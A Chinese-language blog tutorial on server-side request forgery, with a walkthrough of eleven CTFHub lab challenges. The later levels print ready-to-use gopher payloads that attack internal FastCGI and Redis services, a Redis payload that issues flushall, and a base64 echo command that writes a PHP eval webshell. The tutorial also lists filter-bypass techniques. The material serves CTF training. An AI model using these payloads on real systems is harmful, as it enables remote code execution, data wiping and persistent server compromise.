SSRF服务端请求伪造详解(附带ctfhub靶场实战-保姆级)

SSRF服务端请求伪造详解(附带ctfhub靶场实战-保姆级)

SSRF服务端请求伪造

漏洞描述

SSRF(Server-side Request Forgery),服务端请求伪造。是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况况下SSRF攻击的目标是从外网无法访问到的内部系统 (正因为它是由服务端发起的,所以它能够请求到与自身相连而与外网隔离的内部系统)。

漏洞原理

SSRF形成的原因大都是由于服务端提供了从 其他服务器 应用 获取数据 的功能且没有对服务器目标地址做过滤与限制,用户对目标地址可控。

内网应用服务器地址利用各种协议去读取本地文件

漏洞分类

显示对攻击者的响应(Basic)

它显示对攻击者的响应,因此在服务器获取攻击者要求请求的URL后,他将会把响应发送回攻击者。返回结果到客户端。会返回这个网址的界面或对应的HTML代码。

不显示响应(Blind)

和上面正好相反, 不会返回结果到客户端 。当您从未从初次请求中获取有关目标服务的任何信息时,就会发生这种ssrf。通常,攻击者将提供url,但是该url中的数据将永远不会返回给攻击者。要在这种情况下确认漏洞,攻击者必须使用Burp,DNSLOG等类似工具。这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证,但难以利用;

漏洞函数

SSRF 漏 洞 可 能 会 产 生 在 任 何 语 言 编 写 的 应 用 中 , 这 里 介 绍 PHP 中 可 能 会 存 在 SSRF 漏 洞 的 函 数 :file_get_contents()、fsockopen()、curl_exec()

file_get_contents():将整个文件或一个URL指向的文件,以字符串的性质展示给用户

curl_exec(): 对远程的URL发起请求访问,并将请求的结果返回至前端页面

fsockopen(): 使用该函数实现获取用户制定url的数据(文件或者html);该函数会使用socket跟服务器建立TCP连接,进行传输原始数据

攻击方式

主要攻击方式如下所示:

漏洞探测

有回显类型:输入指定地址,如果将指定URL内容获取到了那么也存在SSRF

无回显类型:输入dnslog地址,如果dnslog地址有解析记录及代码存在SSRF

  1. 服务端会去其他服务器获取资源

  2. 我们对获取资源的服务器地址是可控的

  3. 服务器提供了从其他服务器获取数据的功能

  4. 其他服务器的地址是我们可控的

  5. 没有过滤

协议

http:// -- 通过http协议访问内网主机web服务,或发送Get数据包

http协议

能进行内网端口探测-可通过返回的时间和长度判断端口是否开放/与Web站点访问。

file协议

伪协议、读取敏感的文件信息、

dict协议

内网服务探测(DICT伪协议)dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以获取目标服务器端口上运行的服务版本等信息。

通过响应时间来判断端口是否开放

Gopher协议

Gopher协议 是比HTTP协议更早出现的协议,现在已经不常使用了,但是在SSRF漏洞中可以利用gopher协议发送各种格式的请求包,这样便可以解决漏洞点不在GET参数的问题。所有WEB服务器都支持gopher协议。

Gopher协议格式:


gopher://😕_TCP数据流

注意:

由于Gopher协议的特殊格式,在SSRF利用Gopher攻击目标时,需要对数据包进行两次URL编码。

  1. 第一次URL将URL中的特殊字符进行转义,以便于传输和解析。

  2. 第二次编码是为了让Gopher协议能够正常解析,因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符,才能被Gopher协议正确解析。

SSRF⽀持的协议

# ftp

FastCGI

当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时中间件就会将请求转发给PHP解析器来处理。

客户段请求静态网站 =----> 中间件直接处理返回客户段请求脚本文件php jsp —> 中间件判断用户请求的文件类型 —> 通过fastcgi 将请求文件提交给php-fpm(解析器)进行处理 —》 调用数据库数据 --> 返回数据到中间件 --> 客户端

攻击内⽹Redis

redis低版本默认存在漏洞 (未授权访问) 也不需要权限校验即可进入到redis执行redis命令 。redis命令中有几条命令可以写入文件到服务器中redis未授权访问getshell的方式

1.写⼊计划任务(反弹shell)

2.写⼊webshell到对⽅⽹站⽬录

3.写⼊SSH公钥进⾏免密连接

SSRF漏洞绕过

常见限制

限制为http://www.xxx.com域名

采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com

#限制请求IP不为内网地址⭐当不允许ip为内网地址时

(1)采取短网址绕过

(2)采取特殊域名

(3)采取进制转换

限制请求只为HTTP协议

(1)采取302跳转

(2)采取短地址

绕过方式

1.# “@”

http://abc@127.0.0.1

实际上是以用户名abc连接到站点127.0.0.1,同理

http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:

http://www.aaa.com@www.bbb.com@www.ccc.com

在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

2.# “[::]”

可以利用[::]来绕过localhost

http://[::]:80/ >>> http://127.0.0.1

3.# 添加端口号

http://127.0.0.1:8080

4.# 利用短网址

站长工具短网址/百度短网址

https://urlc.net/cn/

5.# 利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

6.# 利用DNS解析

在域名上设置A记录,指向127.0.0.1

7.# 利用进制转换

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

十进制:2130706433

8.# 句号

127。0。0。1 >>> 127.0.0.1

9.# 利用30X重定向

使用https://tinyurl.com生成302跳转地址

https://urlc.net/cn/

10.# URL十六进制编码

URL十六进制编码可被浏览器正常识别,编码脚本:

十六进制:0x7f.0.0.1

11.利用30X重定向

可以使用重定向来让服务器访问目标地址,可用于重定向的HTTP状态码:300、301、302、303、305、307、

308。

需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中

ctfhub实战

网址:https://www.ctfhub.com

第一关:内网访问

题目

看到提示我们可以知道falg应该位于他呢台机器的根目录下

开启环境

进入之后发现页面空白,在url中有个url的参数

我们直接使用http协议让他去访问127.0.0.1/flag.php

拿到flag成功过关

第二关:伪协议读取文件

题目:

开启环境

可以看到跟第一关一样的页面

看提示让我们去尝试读取一下web目录下的flag

读取文件这个时候就应该用file协议

这个时候我们还看到在web目录下呢linux默认的web路径为/vat/www/html

语句:file:///var/www/html/flag.php

然后发现之读到了三个?

不要慌,这个时候我们查看页面源码就可以看到flag了

成功过关

第三关:端口扫描

题目

我们可以看到第三关需要我们探测端口8000-9000

这个时候就应该用dict协议

加上burp爆破模块来进行探测

跟第一关同样的页面,输入语句后抓包然后发送到爆破模块

开始爆破

然后我们可以看到端口为8880

然后我们利用http协议去请求127.0.0.1:8880

成功获取flag

第四关:POST请求

题目

我们可以看到和前面同样的页面

我们尝试使用http,file等协议看看有什么相应

经过尝试,我们发现使用http协议读取127.0.0.1/flag.php时页面会出现一个输入框

还有使用file协议读取/var/www/html/flag.php时也会出现一个输入框

我们先来看http协议读取到的输入框

我们查看一下源码看看

可以看到这个页面提交的key会以post的形式给./flag.php页面

然后我们再去看一下file协议读取到网站下的输入框

查看页面源码

页面源码的大致意思为

这个时候我们在返回http协议的页面

输入key回车

出现个这个东西,加上刚才的源码,可以判断,不能请求127.0.0.1这个地址

将这个数据包抓下来,然后使用gopher.py脚本来生成协议

gopher.py脚本如下:

开启抓包,输入key,回车

将抓到的数据包全部复制下来粘贴到脚本中

然后在cmd中运行脚本

然后将生成的东西粘贴到url参数上进行访问即可

成功得到flag

第五关:上传文件

题目

只提示了需要上传文件到flag.php

进去看看

一样的页面

先试用file,http看看

首先看file协议的源码,代码的大致意思如下

呢么看来我们还需要使用gopher协议

http的源码还是一样的简单,就不说了

呢么我们上传一个文件,使用gopher脚本转换,然后再在url中进行访问

首先随便上传一个文件

选完文件之后发现没有上传的按钮

没关系,我们直接f12去源码中编辑html元素,添加一个按钮即可

然后点击提交,顺便抓个包

直接提交果然不行

我们将抓到的数据包复制下来,然后利用gopher脚本进行转换

然后在cmd中使用python执行这个脚本

然后将东西复制出来作为参数url的值进行传输访问

成功得到flag

第六关FastCGI协议

题目

如果大家不太了解fastcgi的话可以先去网上找两篇文章来了解一下

针对fastcgi这里的话是有工具的,在这就直接使用工具来完成了

工具地址:https://pan.baidu.com/s/1CSiHWysbN9Z0y1y0UArBsA?pwd=5m45

使用工具的前提:

1.需要知道网站一个存在的php文件

2.工具需要使用python2的环境

首页

依旧是这样的,我们需要找到一个php页面,首先试试index.php

会跳转到首页,说明他是存在的

然后我们就可以开始利用工具进行攻击了

使用python2的环境运行

然后输入一个网站已经存在的php文件

然后输入想要执行的命令

这里的话我们使用命令写入个一句话木马

首先写个一句话木马使用base64编码一下

然后使用echo命令将他重定向到一个文件中

echo PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4= | base64 -d > /var/www/html/shell.php

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH131%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%83%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%3D%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后我们将生成的东西复制出来进行二次url编码

注意在编码的时候后面不要留有空格,否则就会失败

gopher%3a%2f%2f127.0.0.1%3a9000%2f_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520%2fvar%2fwww%2fhtml%2fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后将二次编码的东西作为url的参数传入然后访问即可

看到这个页面说明命令成功执行,然后我们去访问一下我们写入的webshell

成功写入,使用蚁剑去连接

成功连接,记得选base64

然后我们去根目录下即可找到flag

成功得到flag

第七关:Redis协议

题目

还用第六关的工具就可以,他也可以对redis进行攻击

首页

首先使用python2运行该工具,然后

选择

phpshell即可

然后需要提供服务器web网站的根位置

这里就是默认的,所以直接回车就好

然后这里我们输入攻击载荷,也就是一句话木马

然后就给我们生成了如下的东西

我们将这东西复制进行url编码,然后再作为url参数的值进行提交即可

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

编码完成之后然后去对页面进行攻击

看到一直转圈说明写入成功

然后我们去访问看看

成功写入,使用工具连接

然后在根目录下找到flag即可

拿到flag

第八关:URL Bypass

题目

看到提示其实已经很简单了吧

必须包含一个域名,所以要绕过,呢么直接就可以想到用@符号进行绕过

首页

然后直接绕就行

拿到flag,直接秒了

第九关:数字IP Bypass

题目

看到提示,不能使用点分十进制,但是又需要访问127.0.0.1,呢直接编码不就可以了嘛,

首页

我们先来看一下

扳掉了

直接编码

127.0.0.1的十六进制编码为:0x7f000001

成功得到flag,直接拿下

第十关:302跳转 Bypass

题目

根据提示,我们先来试试http

可以看到不能访问127.0.0.1

但是题目提示302跳转,呢我们就可以想到localhost会跳转为127.0.0.1,我们将127.0.0.1换位localhost即可

拿到flag

十一关:DNS重绑定 Bypass

题目

开启题目后,我们可以看到,这个题目是有个附件的

如果不是很清楚DNS重绑的话可以去附件先看看,了解一下

首页

一样的白页面,先看看http

然后我们去网站生成一个

网站地址:https://lock.cmpxchg8b.com/rebinder.html

复制,然后粘贴在127.0.0.1的位置即可

拿到flag


文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,

文章来源于网上,如有侵权请联系博主删除

黑客&网络安全如何学习

如果你也对网路安全技术感兴趣,但是又没有合适的学习资源,我可以把私藏的网安学习资料免费共享给你们,来看看有哪些东西。

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值